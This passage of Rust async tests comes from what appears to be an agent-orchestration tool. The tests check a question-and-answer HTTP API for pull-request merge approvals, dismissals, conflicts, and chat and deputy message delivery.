11646                .await
11647                .status,
11648            409
11649        );
11650        // A late waiter cannot turn the old answer into a new decision.
11651        assert!(
11652            reconnected
11653                .questions()
11654                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
11655                .is_err()
11656        );
11657        // The same guard used by claims, repair and publication rejects a
11658        // saved in-memory driver as well as the persisted terminal record.
11659        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
11660    }
11661
11662    #[tokio::test]
11663    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
11664        let fx = Fixture::start().await;
11665        let mut state = obsolete_approval_state();
11666        state.status = RunStatus::Landing;
11667        state.driver_exited = true;
11668        let mut q = Question::new(
11669            state.id.clone(),
11670            crate::land::APPROVAL_NODE.into(),
11671            "land".into(),
11672            "Obsolete approval".into(),
11673            String::new(),
11674            vec!["merge".into(), "hold".into()],
11675        );
11676        state.land_approval = Some(crate::run::LandApproval {
11677            question: q.id.clone(),
11678            head: "head".into(),
11679        });
11680        state.save_under(fx.home.path()).unwrap();
11681        fx.questions().put(&mut q).unwrap();
11682        let mut task = Task::new(
11683            "Owner".into(),
11684            "Original instruction".into(),
11685            state.repo.clone(),
11686            Source::Human,
11687        );
11688        task.runs = vec![state.id.clone(), "later-run".into()];
11689        fx.queue().put(&mut task).unwrap();
11690        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
11691        let claim = fx.queue().claim(&task.id).unwrap();
11692        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11693        let path = format!("/api/questions/{}/answer", q.id);
11694        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11695        assert!(fx.questions().get(&q.id).unwrap().status.open());
11696        drop(claim);
11697        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
11698        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11699        assert!(fx.questions().get(&q.id).unwrap().status.open());
11700        drop(publication);
11701        // Unknown liveness and armed auto-merge both fail without settling.
11702        state.driver_exited = false;
11703        state.driver_pid = None;
11704        state.save_under(fx.home.path()).unwrap();
11705        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11706        state.driver_exited = true;
11707        state.land_armed_head = Some("head".into());
11708        state.save_under(fx.home.path()).unwrap();
11709        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11710        state.land_armed_head = None;
11711        state.save_under(fx.home.path()).unwrap();
11712        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11713        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11714        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
11715    }
11716
11717    #[tokio::test]
11718    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
11719        let fx = Fixture::start().await;
11720        let mut state = obsolete_approval_state();
11721        state.status = RunStatus::Landing;
11722        state.driver_exited = true;
11723        let mut q = Question::new(
11724            state.id.clone(),
11725            crate::land::APPROVAL_NODE.into(),
11726            "land".into(),
11727            "Obsolete approval".into(),
11728            String::new(),
11729            vec!["merge".into(), "hold".into()],
11730        );
11731        state.land_approval = Some(crate::run::LandApproval {
11732            question: q.id.clone(),
11733            head: "head".into(),
11734        });
11735        state.save_under(fx.home.path()).unwrap();
11736        fx.questions().put(&mut q).unwrap();
11737        let mut task = Task::new(
11738            "Owner".into(),
11739            "Original instruction".into(),
11740            state.repo.clone(),
11741            Source::Human,
11742        );
11743        task.runs.push(state.id.clone());
11744        task.status = TaskStatus::Parked;
11745        fx.queue().put(&mut task).unwrap();
11746        // Model a crash after the run stop was persisted but before the queue
11747        // and answered question were flushed. Retrying must finish, not resume.
11748        state.merge_decision = Some(crate::merge_decision::Decision {
11749            question: q.id.clone(),
11750            target: crate::merge_decision::Target {
11751                pr: state.pr.as_ref().unwrap().url.clone(),
11752                head: "head".into(),
11753                language: "ja".into(),
11754            },
11755            choice: crate::merge_decision::DISMISS.into(),
11756            closed: false,
11757            replacement_run: None,
11758            replacement_pr: None,
11759        });
11760        state.status = RunStatus::Superseded;
11761        state.save_under(fx.home.path()).unwrap();
11762        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11763        let path = format!("/api/questions/{}/answer", q.id);
11764        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11765        let done = fx.queue().get(&task.id).unwrap();
11766        assert_eq!(done.status, TaskStatus::Done);
11767        assert_eq!(done.runs, task.runs);
11768        assert_eq!(done.instruction, task.instruction);
11769        assert!(done.action_applied(&q.id));
11770        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11771        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
11772        assert!(!fx.questions().get(&q.id).unwrap().status.open());
11773    }
11774
11775    #[tokio::test]
11776    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
11777        let home = TempDir::new().unwrap();
11778        let ui = Arc::new(Ui::new(
11779            Queue::at(home.path().join("queue")),
11780            Questions::at(home.path().join("questions")),
11781            Talks::at(home.path().join("talks")),
11782            home.path().join("runs"),
11783            home.path().to_owned(),
11784            home.path().to_owned(),
11785        ));
11786        let talks = &ui.talks;
11787        let chat =
11788            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
11789        let mut q = Question::new(
11790            "run".into(),
11791            crate::land::APPROVAL_NODE.into(),
11792            "land".into(),
11793            "Merge?".into(),
11794            String::new(),
11795            vec!["merge".into(), "hold".into()],
11796        );
11797        q.routed_task = Some("task".into());
11798        q.routed_chat = Some(chat.id.clone());
11799        q.merge_target = Some(crate::merge_decision::Target {
11800            pr: "https://example.test/pull/1".into(),
11801            head: "head-a".into(),
11802            language: "en".into(),
11803        });
11804        ui.questions.put(&mut q).unwrap();
11805        let send = |body| {
11806            question_answer(
11807                State(ui.clone()),
11808                Path(q.id.clone()),
11809                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
11810            )
11811        };
11812        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
11813        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
11814        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
11815        assert!(send(wrong_chat).await.is_err());
11816        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
11817        assert!(send(stale).await.is_err());
11818        assert!(ui.questions.get(&q.id).unwrap().status.open());
11819        assert!(send(button.clone()).await.is_ok());
11820        assert_eq!(
11821            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
11822            Some("merge")
11823        );
11824        assert!(send(button).await.is_err());
11825    }
11826
11827    #[tokio::test]
11828    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
11829        let home = TempDir::new().unwrap();
11830        let ui = Arc::new(Ui::new(
11831            Queue::at(home.path().join("queue")),
11832            Questions::at(home.path().join("questions")),
11833            Talks::at(home.path().join("talks")),
11834            home.path().join("runs"),
11835            home.path().to_owned(),
11836            home.path().to_owned(),
11837        ));
11838        for choice in [crate::land::APPROVE, crate::land::HOLD] {
11839            let mut q = Question::new(
11840                "run".into(),
11841                crate::land::APPROVAL_NODE.into(),
11842                "land".into(),
11843                "Merge?".into(),
11844                String::new(),
11845                vec!["merge".into(), choice.into()],
11846            );
11847            q.routed_task = Some("task".into());
11848            q.merge_target = Some(crate::merge_decision::Target {
11849                pr: "https://example.test/pull/1".into(),
11850                head: "head-a".into(),
11851                language: "en".into(),
11852            });
11853            ui.questions.put(&mut q).unwrap();
11854            let answer = |c: &str| {
11855                question_answer(
11856                    State(ui.clone()),
11857                    Path(q.id.clone()),
11858                    Ok(Json(
11859                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
11860                            .unwrap(),
11861                    )),
11862                )
11863            };
11864            let _ = answer(choice).await.unwrap();
11865            assert_eq!(
11866                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
11867                Some(choice)
11868            );
11869        }
11870    }
11871
11872    #[tokio::test]
11873    async fn a_routed_decision_is_refused_on_the_question_route() {
11874        let home = TempDir::new().unwrap();
11875        let ui = Arc::new(Ui::new(
11876            Queue::at(home.path().join("queue")),
11877            Questions::at(home.path().join("questions")),
11878            Talks::at(home.path().join("talks")),
11879            home.path().join("runs"),
11880            home.path().to_owned(),
11881            home.path().to_owned(),
11882        ));
11883        let mut q = Question::new(
11884            "run".into(),
11885            crate::github_text::ASK_NODE.into(),
11886            "posting-gate".into(),
11887            "Post?".into(),
11888            String::new(),
11889            vec!["use fallback".into()],
11890        );
11891        q.routed_task = Some("task".into());
11892        ui.questions.put(&mut q).unwrap();
11893        let sent = question_answer(
11894            State(ui.clone()),
11895            Path(q.id.clone()),
11896            Ok(Json(
11897                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
11898                    .unwrap(),
11899            )),
11900        )
11901        .await;
11902        assert!(sent.is_err());
11903        assert!(ui.questions.get(&q.id).unwrap().status.open());
11904    }
11905
11906    #[tokio::test]
11907    async fn merge_decision_api_persists_exact_target_and_selected_action() {
11908        let fx = Fixture {
11909            home: TempDir::new().unwrap(),
11910            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11911        };
11912        for choice in [
11913            crate::land::HOLD,
11914            crate::land::REPAIR,
11915            crate::land::APPROVE,
11916            crate::merge_decision::WITHDRAW,
11917            "reimplement:beta",
11918        ] {
11919            let mut q = Question::new(
11920                "old-run".into(),
11921                crate::land::APPROVAL_NODE.into(),
11922                "land".into(),
11923                "Decision".into(),
11924                "Review findings".into(),
11925                vec![
11926                    "merge".into(),
11927                    "hold".into(),
11928                    crate::land::REPAIR.into(),
11929                    crate::merge_decision::WITHDRAW.into(),
11930                    "reimplement:beta".into(),
11931                ],
11932            );
11933            q.merge_target = Some(crate::merge_decision::Target {
11934                pr: "https://github.com/example/repo/pull/42".into(),
11935                head: "exact-reviewed-head".into(),
11936                language: "ja".into(),
11937            });
11938            q.consult = Some(ask::ChatConsult {
11939                talk: "another-conversation".into(),
11940                at: jiff::Timestamp::now(),
11941            });
11942            fx.questions().put(&mut q).unwrap();
11943            let ui = Arc::new(Ui::new(
11944                fx.queue(),
11945                fx.questions(),
11946                fx.talks(),
11947                fx.runs(),
11948                fx.home.path().into(),
11949                std::path::PathBuf::from("."),
11950            ));
11951            let response = question_answer(
11952                State(ui.clone()),
11953                Path(q.id.clone()),
11954                Ok(Json(NewAnswer {
11955                    choice: Some(choice.into()),
11956                    text: None,
11957                    ..Default::default()
11958                })),
11959            )
11960            .await
11961            .unwrap();
11962            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
11963            let disk = fx.questions().get(&q.id).unwrap();
11964            assert_eq!(disk.merge_target, q.merge_target);
11965            assert_eq!(disk.consult, q.consult);
11966            assert!(
11967                disk.answer_authority.is_none(),
11968                "a direct owner card is its own decision"
11969            );
11970            assert_eq!(disk.resolution().as_deref(), Some(choice));
11971            assert!(
11972                question_answer(
11973                    State(ui),
11974                    Path(q.id.clone()),
11975                    Ok(Json(NewAnswer {
11976                        choice: Some("merge".into()),
11977                        text: None,
11978                        ..Default::default()
11979                    }))
11980                )
11981                .await
11982                .is_err(),
11983                "an already settled decision cannot turn into merge approval"
11984            );
11985        }
11986    }
11987
11988    #[tokio::test]
11989    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
11990        let fx = Fixture {
11991            home: TempDir::new().unwrap(),
11992            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11993        };
11994        let mut state = crate::land::tests::repair_state(true, true);
11995        state.status = RunStatus::Landing;
11996        state.parked = true;
11997        state.driver_exited = true;
11998        let mut task = Task::new(
11999            "Existing PR owner".into(),
12000            state.instruction.clone(),
12001            state.repo.clone(),
12002            Source::Human,
12003        );
12004        task.runs.push(state.id.clone());
12005        task.status = TaskStatus::Parked;
12006        fx.queue().put(&mut task).unwrap();
12007        let mut q = Question::new(
12008            state.id.clone(),
12009            crate::land::APPROVAL_NODE.into(),
12010            "land".into(),
12011            "Contested merge".into(),
12012            "Original evidence".into(),
12013            vec!["merge".into(), "hold".into()],
12014        );
12015        state.land_approval = Some(crate::run::LandApproval {
12016            question: q.id.clone(),
12017            head: "reviewed-head".into(),
12018        });
12019        state.save_under(fx.home.path()).unwrap();
12020        fx.questions().put(&mut q).unwrap();
12021        // A later repair answer on this old card supersedes this manual hold.
12022        task.hold_manual(Some("Pause this PR".into()));
12023        fx.queue().put(&mut task).unwrap();
12024        // POST directly, without a preceding GET: validation must see the
12025        // same durable upgrade that the card, CLI and chat see.
12026        let ui = Arc::new(Ui::new(
12027            fx.queue(),
12028            fx.questions(),
12029            fx.talks(),
12030            fx.runs(),
12031            fx.home.path().to_path_buf(),
12032            state.repo.clone(),
12033        ));
12034        let response = question_answer(
12035            State(ui),
12036            Path(q.id.clone()),
12037            Ok(Json(NewAnswer {
12038                choice: Some(crate::land::REPAIR.into()),
12039                text: None,
12040                ..Default::default()
12041            })),
12042        )
12043        .await
12044        .unwrap();
12045        assert_eq!(response.0.question.id, q.id);
12046        let upgraded = fx.questions().get(&q.id).unwrap();
12047        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
12048        assert!(upgraded.detail.starts_with("Original evidence"));
12049        let claim = fx.queue().claim(&task.id).unwrap();
12050        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12051        assert!(
12052            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
12053            "an existing driver keeps its claim"
12054        );
12055        drop(claim);
12056        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12057        let resumed = fx.queue().get(&task.id).unwrap();
12058        assert_eq!(
12059            resumed
12060                .resume_override
12061                .as_ref()
12062                .unwrap()
12063                .pinned_run
12064                .as_deref(),
12065            Some(state.id.as_str())
12066        );
12067        assert!(resumed.status.runnable());
12068        assert_eq!(resumed.instruction, task.instruction);
12069        assert_eq!(resumed.runs, task.runs);
12070        assert!(resumed.action_applied(&q.id));
12071        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12072        assert_eq!(fx.queue().list().len(), 1);
12073        assert_eq!(
12074            fx.queue().get(&task.id).unwrap().resume_override,
12075            resumed.resume_override
12076        );
12077        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12078        assert!(
12079            disk.merge_repairs.is_empty(),
12080            "only the claimed run driver may execute repair"
12081        );
12082        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
12083    }
12084
12085    #[tokio::test]
12086    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
12087        let fx = Fixture::start().await;
12088        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12089        let path = format!("/api/questions/{id}/answer");
12090
12091        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
12092        assert_eq!(res.status, 200, "{}", res.body);
12093        let body = res.json();
12094        assert_eq!(body["status"], "answered");
12095        assert_eq!(body["answer"]["choice"], "Redis");
12096
12097        // Answered from the terminal in between the list and the tap: the UI
12098        // must be able to tell this from a bad request, so it can show the
12099        // recorded answer instead of an error.
12100        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
12101        assert_eq!(again.status, 409, "{}", again.body);
12102        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12103    }
12104
12105    #[tokio::test]
12106    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
12107        let home = tempfile::tempdir().unwrap();
12108        let ui = delta_test_ui(home.path());
12109        let mut q = Question::new(
12110            "task".into(),
12111            crate::land::APPROVAL_NODE.into(),
12112            "land".into(),
12113            "Explain?".into(),
12114            String::new(),
12115            vec!["hold".into()],
12116        );
12117        q.deputy = Some(ask::Deputy::new("context".into()));
12118        ui.questions.put(&mut q).unwrap();
12119        let mut cfg = stub_config();
12120        cfg.daemon.max_deputies = 0;
12121        let mut status = crate::daemon::Status::new();
12122        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12123        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
12124        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12125        let error = question_say(
12126            State(ui.clone()),
12127            Path(q.id.clone()),
12128            Ok(Json(NewSay {
12129                body: "Explain the findings".into(),
12130            })),
12131        )
12132        .await
12133        .unwrap_err();
12134        assert_eq!(
12135            error.text_reason,
12136            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
12137        );
12138        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12139
12140        let mut text = Question::new(
12141            "task".into(),
12142            "ask".into(),
12143            "operator".into(),
12144            "Which name?".into(),
12145            String::new(),
12146            vec![],
12147        );
12148        ui.questions.put(&mut text).unwrap();
12149        let Json(view) = question_answer(
12150            State(ui.clone()),
12151            Path(text.id.clone()),
12152            Ok(Json(NewAnswer {
12153                choice: None,
12154                text: Some("chosen name".into()),
12155                ..Default::default()
12156            })),
12157        )
12158        .await
12159        .unwrap();
12160        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
12161        assert!(!ui.questions.get(&text.id).unwrap().status.open());
12162    }
12163
12164    #[tokio::test]
12165    async fn question_text_handler_admission_without_transport() {
12166        let home = tempfile::tempdir().unwrap();
12167        let ui = delta_test_ui(home.path());
12168        let mut q = Question::new(
12169            "task".into(),
12170            crate::land::APPROVAL_NODE.into(),
12171            "land".into(),
12172            "May this PR merge?".into(),
12173            String::new(),
12174            vec!["hold".into()],
12175        );
12176        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
12177        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12178        ui.questions.put(&mut q).unwrap();
12179        let say = || {
12180            Ok(Json(NewSay {
12181                body: "Explain the findings".into(),
12182            }))
12183        };
12184        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12185            .await
12186            .unwrap_err();
12187        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12188        let response = rejected.into_response();
12189        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
12190            .await
12191            .unwrap();
12192        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
12193        assert_eq!(body["code"], "question_text_unavailable");
12194        assert_eq!(body["reason"], "deputy_exhausted");
12195        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
12196        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
12197        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
12198        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
12199            .await
12200            .unwrap();
12201        assert_eq!(view.text_delivery.state, "live");
12202        assert!(view.question.waiter.is_none());
12203        assert!(view.question.cwd.is_none());
12204        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12205        ui.questions.drop_lease(&q.id);
12206        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12207            .await
12208            .unwrap_err();
12209        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12210        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12211        let _ = question_answer(
12212            State(ui.clone()),
12213            Path(q.id.clone()),
12214            Ok(Json(NewAnswer {
12215                choice: Some("hold".into()),
12216                text: None,
12217                ..Default::default()
12218            })),
12219        )
12220        .await
12221        .unwrap();
12222        assert_eq!(
12223            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12224            Some("hold")
12225        );
12226    }
12227
12228    #[tokio::test]
12229    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12230        let fx = Fixture::start().await;
12231        let store = fx.questions();
12232        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12233        store
12234            .update(&id, |q| {
12235                q.node = crate::land::APPROVAL_NODE.to_owned();
12236                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12237                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12238                Ok(())
12239            })
12240            .unwrap();
12241        let path = format!("/api/questions/{id}/say");
12242        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12243        assert_eq!(refused.status, 422, "{}", refused.body);
12244        assert!(
12245            refused.json()["error"]
12246                .as_str()
12247                .unwrap()
12248                .contains("deputy_exhausted")
12249        );
12250        assert!(store.get(&id).unwrap().thread.is_empty());
12251
12252        // A final live deputy is usable even with no ordinary waiter/cwd.
12253        store.beat(&id, ask::WaiterKind::Deputy);
12254        let view = fx.get("/api/questions").await.json();
12255        assert_eq!(view[0]["text_delivery"]["state"], "live");
12256        let accepted = fx
12257            .post(&path, Some(r#"{"body":"explain the findings"}"#))
12258            .await;
12259        assert_eq!(accepted.status, 200, "{}", accepted.body);
12260        let before = std::fs::read(store.path_of(&id)).unwrap();
12261
12262        // The recipient exits between rendering and sending. Rejection must
12263        // preserve previously accepted text, the answer and delivery cursor.
12264        store.drop_lease(&id);
12265        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12266        assert_eq!(refused.status, 422, "{}", refused.body);
12267        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12268        let held = fx
12269            .post(
12270                &format!("/api/questions/{id}/answer"),
12271                Some(r#"{"choice":"hold"}"#),
12272            )
12273            .await;
12274        assert_eq!(held.status, 200, "{}", held.body);
12275        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12276    }
12277
12278    #[tokio::test]
12279    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12280        let repo = tempfile::tempdir().unwrap();
12281        let mut cfg = stub_config();
12282        cfg.daemon.max_deputies = 0;
12283        std::fs::write(
12284            repo.path().join("magi.toml"),
12285            toml::to_string(&cfg).unwrap(),
12286        )
12287        .unwrap();
12288        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12289        let mut status = crate::daemon::Status::new();
12290        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12291        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
12292        let id = ask(&fx, "Explain?", &["hold"]);
12293        fx.questions()
12294            .update(&id, |q| {
12295                q.node = crate::land::APPROVAL_NODE.into();
12296                q.deputy = Some(ask::Deputy::new("context".into()));
12297                q.deputy.as_mut().unwrap().agent = "stub".into();
12298                Ok(())
12299            })
12300            .unwrap();
12301        cfg.daemon.max_deputies = 1;
12302        std::fs::write(
12303            repo.path().join("magi.toml"),
12304            toml::to_string(&cfg).unwrap(),
12305        )
12306        .unwrap();
12307        let view = fx.get("/api/questions").await.json();
12308        assert_eq!(view[0]["deputies_enabled"], true);
12309        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
12310        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
12311        let res = fx
12312            .post(
12313                &format!("/api/questions/{id}/say"),
12314                Some(r#"{"body":"Please explain"}"#),
12315            )
12316            .await;
12317        assert_eq!(res.status, 422, "{}", res.body);
12318        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
12319    }
12320
12321    #[tokio::test]
12322    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
12323        let fx = Fixture::start().await;
12324        let id = ask(&fx, "No seat", &[]);
12325        let store = fx.questions();
12326        let before = std::fs::read(store.path_of(&id)).unwrap();
12327        let res = fx
12328            .post(
12329                &format!("/api/questions/{id}/say"),
12330                Some(r#"{"body":"hello"}"#),
12331            )
12332            .await;
12333        assert_eq!(res.status, 422, "{}", res.body);
12334        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12335        let res = fx
12336            .post(
12337                &format!("/api/questions/{id}/answer"),
12338                Some(r#"{"text":"hello"}"#),
12339            )
12340            .await;
12341        assert_eq!(res.status, 200, "{}", res.body);
12342        assert_eq!(
12343            store.get(&id).unwrap().resolution().as_deref(),
12344            Some("hello")
12345        );
12346    }
12347
12348    #[tokio::test]
12349    async fn saying_something_appends_a_turn_without_answering() {
12350        let fx = Fixture::start().await;
12351        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12352        fx.questions().beat(&id, ask::WaiterKind::Asker);
12353        let path = format!("/api/questions/{id}/say");
12354
12355        let res = fx
12356            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
12357            .await;
12358        assert_eq!(res.status, 200, "{}", res.body);
12359        let body = res.json();
12360        assert_eq!(body["status"], "open", "talking back is not a decision");
12361        assert_eq!(body["answer"], Value::Null);
12362        assert_eq!(body["thread"][0]["who"], "operator");
12363        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
12364        assert_eq!(body["waiting_on_agent"], true);
12365        // Still open, still counted, still exactly one question.
12366        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12367    }
12368
12369    #[tokio::test]
12370    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
12371        let fx = Fixture::start().await;
12372        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12373
12374        let list = fx.get("/api/questions").await.json();
12375        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
12376
12377        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
12378        assert_eq!(res.status, 409, "{}", res.body);
12379        let q = fx.questions().get(&id).unwrap();
12380        assert!(q.status.open());
12381        assert!(q.consult.is_none());
12382    }
12383
12384    #[tokio::test]
12385    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
12386        let fx = Fixture::start().await;
12387        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12388        let cfg = Config {
12389            agents: vec![crate::config::AgentSpec {
12390                id: "mock".to_owned(),
12391                kind: crate::config::AgentKind::Command,
12392                model: None,
12393                command: vec!["true".to_owned()],
12394                extra_args: Vec::new(),
12395                env: Default::default(),
12396                prompt_delivery: None,
12397                max_turn_secs: None,
12398            }],
12399            ..Config::default()
12400        };
12401        let talk = crate::talk::begin(
12402            &fx.talks(),
12403            &cfg,
12404            fx.home.path().to_path_buf(),
12405            Some("mock"),
12406        )
12407        .unwrap();
12408        let mut task = Task::new(
12409            "t".to_owned(),
12410            "Do it".to_owned(),
12411            PathBuf::from("/repo/magi"),
12412            Source::Agent {
12413                run: talk.id.clone(),
12414                node: crate::queue::CHAT_NODE.to_owned(),
12415            },
12416        );
12417        task.start("20260902-000000-beef".to_owned());
12418        fx.queue().put(&mut task).unwrap();
12419
12420        let list = fx.get("/api/questions").await.json();
12421        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12422        assert_eq!(
12423            list[0]["choices"],
12424            serde_json::json!(["SQLite", "Redis"]),
12425            "the hand-over is never a choice"
12426        );
12427        fx.questions()
12428            .update(&id, |q| {
12429                q.node = crate::land::APPROVAL_NODE.into();
12430                q.choices = vec!["merge".into(), "hold".into()];
12431                Ok(())
12432            })
12433            .unwrap();
12434        let list = fx.get("/api/questions").await.json();
12435        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12436        assert_eq!(list[0]["can_consult_chat"], true);
12437        fx.questions()
12438            .update(&id, |q| {
12439                q.node = crate::bump::NOTICE_NODE.into();
12440                Ok(())
12441            })
12442            .unwrap();
12443        let list = fx.get("/api/questions").await.json();
12444        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12445        assert_eq!(list[0]["can_consult_chat"], false);
12446    }
12447
12448    #[tokio::test]
12449    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
12450        let fx = Fixture::start().await;
12451        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12452        fx.questions()
12453            .update(&id, |q| {
12454                q.node = crate::land::APPROVAL_NODE.into();
12455                q.choices = vec!["merge".into(), "hold".into()];
12456                Ok(())
12457            })
12458            .unwrap();
12459        let cfg = Config {
12460            agents: vec![crate::config::AgentSpec {
12461                id: "mock".to_owned(),
12462                kind: crate::config::AgentKind::Command,
12463                model: None,
12464                command: vec!["true".to_owned()],
12465                extra_args: Vec::new(),
12466                env: Default::default(),
12467                prompt_delivery: None,
12468                max_turn_secs: None,
12469            }],
12470            ..Config::default()
12471        };
12472        // Not a git working tree, so its `magi.toml` is read from disk.
12473        let repo = fx.home.path().join("chat-repo");
12474        std::fs::create_dir_all(&repo).unwrap();
12475        let toml = repo.join("magi.toml");
12476        std::fs::write(&toml, "this is = = not toml").unwrap();
12477        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
12478        let mut task = Task::new(
12479            "t".to_owned(),
12480            "Do it".to_owned(),
12481            PathBuf::from("/repo/magi"),
12482            Source::Agent {
12483                run: talk.id.clone(),
12484                node: crate::queue::CHAT_NODE.to_owned(),
12485            },
12486        );
12487        task.start("20260902-000000-beef".to_owned());
12488        fx.queue().put(&mut task).unwrap();
12489
12490        let path = format!("/api/questions/{id}/consult");
12491        let res = fx.post(&path, None).await;
12492        assert!(res.status >= 400, "{}", res.body);
12493        assert!(fx.questions().get(&id).unwrap().consult.is_none());
12494        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
12495
12496        std::fs::write(&toml, "").unwrap();
12497        let res = fx.post(&path, None).await;
12498        assert_eq!(res.status, 202, "{}", res.body);
12499        assert!(fx.questions().get(&id).unwrap().consult.is_some());
12500        let q = fx.questions().get(&id).unwrap();
12501        assert!(q.status.open());
12502        assert!(q.answer.is_none());
12503        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12504        assert_eq!(res.json()["can_consult_chat"], true);
12505        let list = fx.get("/api/questions").await.json();
12506        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12507        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
12508
12509        let res = fx
12510            .post(
12511                &format!("/api/questions/{id}/answer"),
12512                Some(r#"{"choice":"hold"}"#),
12513            )
12514            .await;
